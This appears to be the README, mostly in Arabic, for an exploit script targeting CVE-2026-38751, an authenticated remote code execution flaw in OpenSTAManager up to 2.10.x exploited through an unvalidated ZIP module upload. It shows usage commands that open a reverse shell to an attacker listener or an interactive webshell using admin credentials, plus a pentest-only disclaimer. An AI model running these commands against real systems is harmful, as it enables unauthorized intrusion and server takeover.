CVE-2026-38751 — تحميل وحدة OpenSTAManager RCE

تنفيذ تعليمات برمجية عن بعد (RCE) موثَّق عبر تحميل ZIP غير مُتحقَّق منه في نقطة تحديث الوحدة.

المتأثر: OpenSTAManager <= 2.10.x

المتطلبات

pip install requests

الاستخدام

# Reverse shell (Penelope or any listener)
python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444

# Interactive webshell
python3 exploit.py -u http://TARGET -U admin -P admin --interactive

المراجع

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-38751

إخلاء مسؤولية

للاستخدام في اختبار الاختراق المصرح به والأغراض التعليمية فقط.